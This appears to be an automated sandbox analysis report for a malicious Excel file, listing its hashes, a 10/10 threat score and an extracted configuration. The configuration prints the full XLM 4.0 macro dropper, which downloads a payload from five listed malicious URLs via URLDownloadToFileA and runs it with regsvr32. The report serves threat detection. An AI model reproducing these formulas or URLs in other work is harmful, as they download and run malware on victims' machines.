General

  • Target

    7c3739deef7c4e7057fe1b118a1ee8ac18598b0bf032d198356d82db848ffd9d

  • Size

    173KB

  • Sample

    241121-alfw7swemf

  • MD5

    98a2ccecf108c417413935537ad4ef28

  • SHA1

    f3d7483766fc7437c4d3ac4aba6f3584e761666d

  • SHA256

    7c3739deef7c4e7057fe1b118a1ee8ac18598b0bf032d198356d82db848ffd9d

  • SHA512

    f5fcb186998d1f1e8ba06f04d75f9e2ebad25dc51369a7206dcaa024bb8b2adfcc190439740ae6e6f715be070193306d802aa3249d743e006beeb312183ce3be

  • SSDEEP

    3072:TUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:T+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      7c3739deef7c4e7057fe1b118a1ee8ac18598b0bf032d198356d82db848ffd9d

    • Size

      173KB

    • MD5

      98a2ccecf108c417413935537ad4ef28

    • SHA1

      f3d7483766fc7437c4d3ac4aba6f3584e761666d

    • SHA256

      7c3739deef7c4e7057fe1b118a1ee8ac18598b0bf032d198356d82db848ffd9d

    • SHA512

      f5fcb186998d1f1e8ba06f04d75f9e2ebad25dc51369a7206dcaa024bb8b2adfcc190439740ae6e6f715be070193306d802aa3249d743e006beeb312183ce3be

    • SSDEEP

      3072:TUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:T+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks